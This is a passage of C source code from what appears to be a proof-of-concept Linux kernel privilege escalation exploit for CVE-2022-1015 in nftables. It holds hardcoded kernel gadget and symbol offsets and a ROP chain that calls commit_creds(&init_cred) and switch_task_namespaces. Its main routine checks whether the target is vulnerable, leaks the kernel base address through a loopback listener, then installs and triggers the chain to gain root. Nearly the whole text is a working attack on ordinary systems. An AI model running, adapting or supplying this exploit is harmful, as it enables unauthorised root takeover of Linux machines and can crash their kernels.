| ); 380 | 381 | if (err) { 382 | perror("send_batch_request"); 383 | return err; 384 | } 385 | 386 | return v.max_len; 387 | 388 | } 389 | 390 | void trigger_rop(struct mnl_socket* nl, uint64_t kernel_base, struct sockaddr_in* magic_addr, int rop_length) 391 | { 392 | 393 | // Structures in .data 394 | #define INIT_NSPROXY_OFF 0x1867360 395 | #define INIT_PID_NS_OFF 0x1866fe0 396 | #define INIT_CRED_OFF 0x18675a0 397 | 398 | // Routines in .text 399 | #define SWITCH_TASK_NAMESPACES_OFF 0xd1040 400 | #define COMMIT_CREDS_OFF 0xd2430 401 | #define FIND_TASK_BY_VPID_OFF 0x0c8c80 402 | #define BPF_GET_CURRENT_TASK_OFF 0x1ebde0 403 | #define __DO_SOFTIRQ_OFF 0x1000000 404 | 405 | // Gadgets 406 | #define MOV_RDI_RAX_OFF 0xc032fb // constraint: rcx==0 407 | #define POP_RDI_OFF 0x92610 408 | #define POP_RSI_OFF 0x676d2 409 | #define POP_RCX_OFF 0x139a3 410 | #define POP_RBP_OFF 0x6ffa8d 411 | #define XOR_ECX_ECX_OFF 0x7110bf 412 | #define MOV_R13_RCX_POP_RBP_OFF 0xaf089b 413 | #define POP_R11_R12_RBP_OFF 0x054645 414 | #define CLI_OFF 0x4df88b 415 | #define STI_OFF 0xc061c0 416 | #define MOV_RCX_RAX_OFF 0x2faad4 417 | #define SWAPGS_SYSRETQ_OFF 0xe000fb 418 | // Misc. 419 | #define OLD_TASK_FLAGS_OFF 0x1a554a // 0x40010000 420 | 421 | uint64_t *packet = calloc(1, rop_length + 8); 422 | 423 | packet[0] = 0; 424 | uint64_t* rop = &packet[1]; 425 | 426 | 427 | // 0xffffffff819d5cda <__netif_receive_skb_one_core+122> ret 428 | 429 | int i = 0; 430 | #define _rop(x) do { if ((i+1)*8 > rop_length) { puts("ROP TOO LONG"); exit(EXIT_FAILURE);} rop[i++] = (x); } while (0) 431 | 432 | // clear interrupts 433 | _rop(kernel_base + CLI_OFF); 434 | 435 | // make rbp-0x58 point to 0x40010000 436 | _rop(kernel_base + POP_RBP_OFF); 437 | _rop(kernel_base + OLD_TASK_FLAGS_OFF + 0x58); 438 | 439 | /* Cleanly exit softirq and return to syscall context */ 440 | _rop(kernel_base + __DO_SOFTIRQ_OFF + 418); 441 | 442 | // stack frame was 0x60 bytes 443 | for(int j = 0; j < 12; ++j) _rop(0); 444 | 445 | /* We're already on 128 bytes here */ 446 | 447 | // switch_task_namespaces(current, &init_nsproxy) 448 | _rop(kernel_base + BPF_GET_CURRENT_TASK_OFF); 449 | _rop(kernel_base + MOV_RDI_RAX_OFF); // rcx happens to aleady be 0 450 | _rop(kernel_base + POP_RSI_OFF); 451 | _rop(kernel_base + INIT_NSPROXY_OFF); 452 | _rop(kernel_base + SWITCH_TASK_NAMESPACES_OFF); 453 | 454 | // commit_cred(&init_cred) 455 | _rop(kernel_base + POP_RDI_OFF); 456 | _rop(kernel_base + INIT_CRED_OFF); 457 | _rop(kernel_base + COMMIT_CREDS_OFF); 458 | 459 | // pass control to system call stack 460 | // this is offset +0xc0 from our rop chain 461 | // target is at +0x168 462 | _rop(kernel_base + 0x28b2e4); // add rsp, 0x90; pop rbx; pop rbp; ret 463 | 464 | int s = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); 465 | puts("Triggering payload.."); 466 | sendto(s, packet, rop_length + 8, 0, (struct sockaddr*)magic_addr, sizeof *magic_addr); 467 | } 468 | 469 | int main(int argc, char** argv, char** envp) 470 | { 471 | 472 | if (argc < 2) { 473 | puts("[+] Dropping into network namespace"); 474 | 475 | // We're too lazy to perform uid mapping and such. 476 | char* new_argv[] = { 477 | "/usr/bin/unshare", 478 | "-Urn", 479 | argv[0], 480 | "EXPLOIT", 481 | NULL 482 | }; 483 | 484 | execve(new_argv[0], new_argv, envp); 485 | puts("Couldn't start unshare wrapper.."); 486 | puts("Recompile the exploit with an appropriate unshare path."); 487 | exit(EXIT_FAILURE); 488 | } 489 | if (strcmp("EXPLOIT", argv[1])) { 490 | puts("[-] Something went wrong..."); 491 | exit(EXIT_FAILURE); 492 | } 493 | 494 | // I'm too lazy to talk to NETLINK_ROUTE.. 495 | // Deal with it! 496 | system("ip link set dev lo up"); 497 | 498 | struct mnl_socket* nl = mnl_socket_open(NETLINK_NETFILTER); 499 | 500 | if (mnl_socket_bind(nl, 0, MNL_SOCKET_AUTOPID) < 0) { 501 | perror("[-] mnl_socket_bind"); 502 | puts("[-] Are you sure you have CAP_NET_ADMIN?.."); 503 | exit(EXIT_FAILURE); 504 | } 505 | int seq = time(NULL); 506 | int err; 507 | 508 | char *table_name = "exploit_table", 509 | *base_chain_name = "base_chain", 510 | *aux_chain_name = "aux_chain"; 511 | 512 | setup_nftables(nl, table_name, base_chain_name, &seq); 513 | 514 | if (create_chain(nl, table_name, aux_chain_name, NFPROTO_IPV4, NULL, &seq, NULL)) { 515 | perror("Failed creating auxiliary chain"); 516 | exit(EXIT_FAILURE); 517 | } 518 | printf("[+] Created auxiliary chain %s\n", aux_chain_name); 519 | 520 | if (create_base_chain_rule(nl, table_name, base_chain_name, NFPROTO_IPV4, NULL, &seq)) { 521 | perror("Failed creating base chain rule"); 522 | exit(EXIT_FAILURE); 523 | } 524 | 525 | puts("[+] Created base chain rule"); 526 | 527 | // we need to make a rule first in order to replace it 528 | // in our leaky rule creation. it's a bit of a hack but it works 529 | // We can also use it to determine whether the system is vulnerable 530 | // before actually exploiting. 531 | 532 | struct vuln_expr_params v; 533 | 534 | // offset 0xca and len 0xff is OOB 535 | if (calc_vuln_expr_params(&v, 0xca, 0x00, 0xff)) { 536 | puts("[-] Something went horribly wrong..."); 537 | exit(EXIT_FAILURE); 538 | } 539 | 540 | struct nftnl_rule* aux_rule = build_rule(table_name, aux_chain_name, NFPROTO_IPV4, NULL); 541 | rule_add_payload(aux_rule, NFT_PAYLOAD_INNER_HEADER, 8, v.max_len, v.value); 542 | 543 | err = send_batch_request( 544 | nl, 545 | NFT_MSG_NEWRULE | (NFT_TYPE_RULE << 8), 546 | NLM_F_CREATE, NFPROTO_IPV4, (void**)&aux_rule, &seq, 547 | NULL 548 | ); 549 | 550 | if (err) { 551 | puts(CLR_RED "[+] TARGET IS NOT VULNERABLE to CVE-2022-1015!" CLR_RESET); 552 | exit(EXIT_FAILURE); 553 | } 554 | 555 | puts("[+] Succesfully created rule with OOB nft_payload!"); 556 | puts(CLR_GRN "[+] TARGET IS VULNERABLE to CVE-2022-1015!" CLR_RESET); 557 | puts("[+] Type 'y' to try exploiting the target."); 558 | puts(CLR_RED "!!!BEWARE: THIS IS LIKELY TO CAUSE A KERNEL PANIC!!!" CLR_RESET); 559 | 560 | char a[4] = {}; 561 | read(0, a, 1); 562 | 563 | if (a[0] != 'y') { 564 | puts("Bye!"); 565 | exit(EXIT_SUCCESS); 566 | } 567 | 568 | #define SERVER_HOST "127.0.0.1" 569 | #define SERVER_PORT 9999 570 | 571 | int pid = setup_listener(SERVER_HOST, SERVER_PORT, leak_handler); 572 | 573 | struct sockaddr_in server; 574 | inet_aton(SERVER_HOST, &server.sin_addr); 575 | server.sin_port = htons(SERVER_PORT); 576 | server.sin_family = AF_INET; 577 | 578 | #define LEAK_BASE_OFFSET 0x9ac3ec 579 | uint32_t leak = do_leak(nl, &server, table_name, aux_chain_name, &seq); 580 | // first byte might fail due to buggy carry implementation with shift_amt = 0 581 | // so we just set it. The LSB will always remain constant. 582 | 583 | uint64_t kernel_addr = 0xffffffff00000000 + leak + (LEAK_BASE_OFFSET & 0xff); 584 | uint64_t kernel_base = kernel_addr - LEAK_BASE_OFFSET; 585 | 586 | 587 | // If the kernel base isn't aligned we should probably not continue. 588 | if((kernel_base & 0xfffff) != 0) { 589 | puts("[-] Leak failed."); 590 | puts("[-] Try changing offsets / lengths / chain types."); 591 | puts("[-] If all leaked bytes were ff, this is probably because of corrupted loopback state.. RIP"); 592 | exit(EXIT_FAILURE); 593 | } 594 | 595 | printf("[+] Kernel base @ 0x%.16lx\n", kernel_base); 596 | stop_listener(pid); 597 | struct unft_base_chain_param bp; 598 | bp.hook_num = NF_INET_LOCAL_IN; 599 | bp.prio = 10; 600 | 601 | if (create_chain(nl, table_name, "base_chain_2", NFPROTO_IPV4, &bp, &seq, NULL)) { 602 | perror("Failed adding second base chain"); 603 | exit(EXIT_FAILURE); 604 | } 605 | 606 | err = install_rop_chain_rule(nl, kernel_base, "base_chain_2", &seq); 607 | if (err < 0) { 608 | perror("[-] Could not install ROP chain"); 609 | exit(EXIT_FAILURE); 610 | }; 611 | 612 | new_stack = mmap(NULL, 0x4000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, -1, 0) + 0x3ff0; 613 | trigger_rop(nl, kernel_base, &server, err); 614 | after_rop(); 615 | } 616 | --------------------------------------------------------------------------------